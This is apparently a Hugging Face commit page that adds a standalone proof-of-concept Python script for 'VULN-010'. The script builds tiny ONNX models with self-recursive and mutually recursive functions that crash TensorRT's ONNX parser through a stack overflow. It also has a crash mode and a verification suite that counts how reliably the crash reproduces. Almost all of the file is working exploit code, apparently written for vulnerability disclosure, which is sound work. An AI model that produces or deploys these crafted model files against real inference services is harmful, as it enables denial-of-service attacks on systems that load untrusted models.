treforbenbow commited on
Commit
4d6c78f
·
verified ·
1 Parent(s): e84e416

Upload vuln010_standalone_poc.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. vuln010_standalone_poc.py +213 -0
vuln010_standalone_poc.py ADDED
@@ -0,0 +1,213 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ VULN-010: Uncontrolled Recursion in TensorRT ONNX Parser via Recursive FunctionProto
3
+ =====================================================================================
4
+
5
+ A 110-byte ONNX model with a self-referencing FunctionProto crashes TensorRT's
6
+ ONNX parser with stack overflow (STATUS_STACK_OVERFLOW / 0xC00000FD) during
7
+ parse(). The parser performs unbounded recursion when expanding the function
8
+ definition, exhausting the call stack.
9
+
10
+ CWE: CWE-674 (Uncontrolled Recursion)
11
+ Affected: TensorRT 10.x nvonnxparser (parse phase)
12
+ Severity: High (CVSS 7.5) — DoS via crafted model file
13
+
14
+ To reproduce:
15
+ python vuln010_standalone_poc.py build # Create PoC .onnx files
16
+ python vuln010_standalone_poc.py crash # Trigger crash (will terminate)
17
+ python vuln010_standalone_poc.py verify # Full verification suite
18
+ """
19
+ import os, sys, subprocess, time
20
+
21
+ POC_DIR = os.path.dirname(os.path.abspath(__file__))
22
+ SELF_REC_PATH = os.path.join(POC_DIR, "vuln010_self_recursive.onnx")
23
+ MUTUAL_REC_PATH = os.path.join(POC_DIR, "vuln010_mutual_recursive.onnx")
24
+
25
+
26
+ def cmd_build():
27
+ """Build PoC ONNX model files."""
28
+ from onnx import helper, TensorProto
29
+
30
+ # PoC 1: Self-recursive function (110 bytes)
31
+ func = helper.make_function(
32
+ "r", "R", ["X"], ["Y"],
33
+ [helper.make_node("R", ["X"], ["Y"], domain="r")],
34
+ opset_imports=[helper.make_opsetid("", 17), helper.make_opsetid("r", 1)])
35
+ g = helper.make_graph(
36
+ [helper.make_node("R", ["i"], ["o"], domain="r")],
37
+ "g",
38
+ [helper.make_tensor_value_info("i", TensorProto.FLOAT, [1])],
39
+ [helper.make_tensor_value_info("o", TensorProto.FLOAT, [1])])
40
+ model = helper.make_model(g, opset_imports=[
41
+ helper.make_opsetid("", 17), helper.make_opsetid("r", 1)],
42
+ functions=[func])
43
+ model.ir_version = 8
44
+
45
+ raw = model.SerializeToString()
46
+ with open(SELF_REC_PATH, "wb") as f:
47
+ f.write(raw)
48
+ print(f"[+] Self-recursive PoC: {SELF_REC_PATH} ({len(raw)} bytes)")
49
+
50
+ # PoC 2: Mutually recursive functions (152 bytes)
51
+ fa = helper.make_function("m", "A", ["X"], ["Y"],
52
+ [helper.make_node("B", ["X"], ["Y"], domain="m")],
53
+ opset_imports=[helper.make_opsetid("", 17), helper.make_opsetid("m", 1)])
54
+ fb = helper.make_function("m", "B", ["X"], ["Y"],
55
+ [helper.make_node("A", ["X"], ["Y"], domain="m")],
56
+ opset_imports=[helper.make_opsetid("", 17), helper.make_opsetid("m", 1)])
57
+ g = helper.make_graph(
58
+ [helper.make_node("A", ["i"], ["o"], domain="m")],
59
+ "g",
60
+ [helper.make_tensor_value_info("i", TensorProto.FLOAT, [1])],
61
+ [helper.make_tensor_value_info("o", TensorProto.FLOAT, [1])])
62
+ model = helper.make_model(g, opset_imports=[
63
+ helper.make_opsetid("", 17), helper.make_opsetid("m", 1)],
64
+ functions=[fa, fb])
65
+ model.ir_version = 8
66
+
67
+ raw = model.SerializeToString()
68
+ with open(MUTUAL_REC_PATH, "wb") as f:
69
+ f.write(raw)
70
+ print(f"[+] Mutual-recursive PoC: {MUTUAL_REC_PATH} ({len(raw)} bytes)")
71
+
72
+ # Verify with Python onnx library (should NOT crash)
73
+ import onnx
74
+ from onnx import checker
75
+ for path in [SELF_REC_PATH, MUTUAL_REC_PATH]:
76
+ model = onnx.load(path)
77
+ try:
78
+ checker.check_model(model)
79
+ print(f"[+] onnx.checker passes: {os.path.basename(path)}")
80
+ except Exception as e:
81
+ print(f"[!] onnx.checker fails: {os.path.basename(path)}: {e}")
82
+
83
+ print("\n[*] Run 'python vuln010_standalone_poc.py crash' to trigger the crash.")
84
+
85
+
86
+ def cmd_crash():
87
+ """Load the PoC model with TensorRT (will crash)."""
88
+ import tensorrt as trt
89
+
90
+ print("[*] Loading self-recursive PoC with TensorRT...")
91
+ print(f"[*] File: {SELF_REC_PATH}")
92
+ print("[!] This WILL crash the process with stack overflow.")
93
+ print()
94
+
95
+ logger = trt.Logger(trt.Logger.WARNING)
96
+ builder = trt.Builder(logger)
97
+ network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
98
+ parser = trt.OnnxParser(network, logger)
99
+
100
+ print("[*] Calling parser.parse_from_file()...")
101
+ ok = parser.parse_from_file(SELF_REC_PATH)
102
+ # Should never reach here
103
+ print(f"[?] parse returned: {ok} (unexpected - should have crashed)")
104
+
105
+
106
+ def cmd_verify():
107
+ """Full verification suite via subprocesses."""
108
+ print("=" * 60)
109
+ print("VULN-010 Verification Suite")
110
+ print("=" * 60)
111
+
112
+ if not os.path.exists(SELF_REC_PATH):
113
+ print("[!] PoC files not found. Run 'build' first.")
114
+ return
115
+
116
+ tests = [
117
+ ("Self-recursive (parse_from_file)", SELF_REC_PATH),
118
+ ("Mutual-recursive (parse_from_file)", MUTUAL_REC_PATH),
119
+ ]
120
+
121
+ for desc, model_path in tests:
122
+ print(f"\n[*] Test: {desc}")
123
+ print(f" File: {model_path} ({os.path.getsize(model_path)} bytes)")
124
+
125
+ script = f'''
126
+ import tensorrt as trt, sys
127
+ logger = trt.Logger(trt.Logger.ERROR)
128
+ builder = trt.Builder(logger)
129
+ network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
130
+ parser = trt.OnnxParser(network, logger)
131
+ ok = parser.parse_from_file(r"{model_path}")
132
+ print(f"PARSE_{{'OK' if ok else 'FAIL'}}")
133
+ '''
134
+ results = []
135
+ for trial in range(5):
136
+ t0 = time.time()
137
+ try:
138
+ r = subprocess.run([sys.executable, "-c", script],
139
+ capture_output=True, text=True, timeout=15)
140
+ dt = time.time() - t0
141
+ rc = r.returncode & 0xFFFFFFFF if r.returncode < 0 else r.returncode
142
+ if rc == 0xC00000FD:
143
+ status = "STACK_OVERFLOW"
144
+ elif rc == 0xC0000005:
145
+ status = "ACCESS_VIOLATION"
146
+ elif r.returncode != 0:
147
+ status = f"CRASH_0x{rc:08X}"
148
+ else:
149
+ status = r.stdout.strip().split('\n')[-1] if r.stdout.strip() else "?"
150
+ except subprocess.TimeoutExpired:
151
+ status = "TIMEOUT"
152
+ dt = 15
153
+ results.append(status)
154
+ print(f" Trial {trial+1}/5: {status} ({dt:.1f}s)")
155
+
156
+ crash_count = sum(1 for s in results if "STACK" in s or "ACCESS" in s or "CRASH" in s)
157
+ print(f" Result: {crash_count}/5 crashes ({crash_count*100//5}% reproducible)")
158
+
159
+ # Control test: non-recursive function should NOT crash
160
+ print(f"\n[*] Control test: non-recursive function (should NOT crash)")
161
+ script = '''
162
+ import tensorrt as trt, sys
163
+ from onnx import helper, TensorProto
164
+
165
+ func = helper.make_function("f", "MyRelu", ["X"], ["Y"],
166
+ [helper.make_node("Relu", ["X"], ["Y"])],
167
+ opset_imports=[helper.make_opsetid("", 17)])
168
+ g = helper.make_graph(
169
+ [helper.make_node("MyRelu", ["input"], ["output"], domain="f")],
170
+ "g",
171
+ [helper.make_tensor_value_info("input", TensorProto.FLOAT, [2, 3])],
172
+ [helper.make_tensor_value_info("output", TensorProto.FLOAT, [2, 3])])
173
+ model = helper.make_model(g, opset_imports=[
174
+ helper.make_opsetid("", 17), helper.make_opsetid("f", 1)],
175
+ functions=[func])
176
+ model.ir_version = 8
177
+
178
+ logger = trt.Logger(trt.Logger.ERROR)
179
+ builder = trt.Builder(logger)
180
+ network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
181
+ parser = trt.OnnxParser(network, logger)
182
+ ok = parser.parse(model.SerializeToString())
183
+ print(f"PARSE_{'OK' if ok else 'FAIL'} layers={network.num_layers}")
184
+ if ok:
185
+ config = builder.create_builder_config()
186
+ config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 256 << 20)
187
+ engine = builder.build_serialized_network(network, config)
188
+ print(f"BUILD_{'OK' if engine else 'FAIL'}")
189
+ '''
190
+ r = subprocess.run([sys.executable, "-c", script],
191
+ capture_output=True, text=True, timeout=30)
192
+ print(f" {r.stdout.strip()}")
193
+ print(f" Exit code: {r.returncode} ({'OK' if r.returncode == 0 else 'CRASH'})")
194
+
195
+ print("\n" + "=" * 60)
196
+ print("VERIFICATION COMPLETE")
197
+ print("=" * 60)
198
+
199
+
200
+ if __name__ == "__main__":
201
+ if len(sys.argv) < 2:
202
+ print("Usage: python vuln010_standalone_poc.py [build|crash|verify]")
203
+ sys.exit(1)
204
+
205
+ cmd = sys.argv[1]
206
+ if cmd == "build":
207
+ cmd_build()
208
+ elif cmd == "crash":
209
+ cmd_crash()
210
+ elif cmd == "verify":
211
+ cmd_verify()
212
+ else:
213
+ print(f"Unknown command: {cmd}")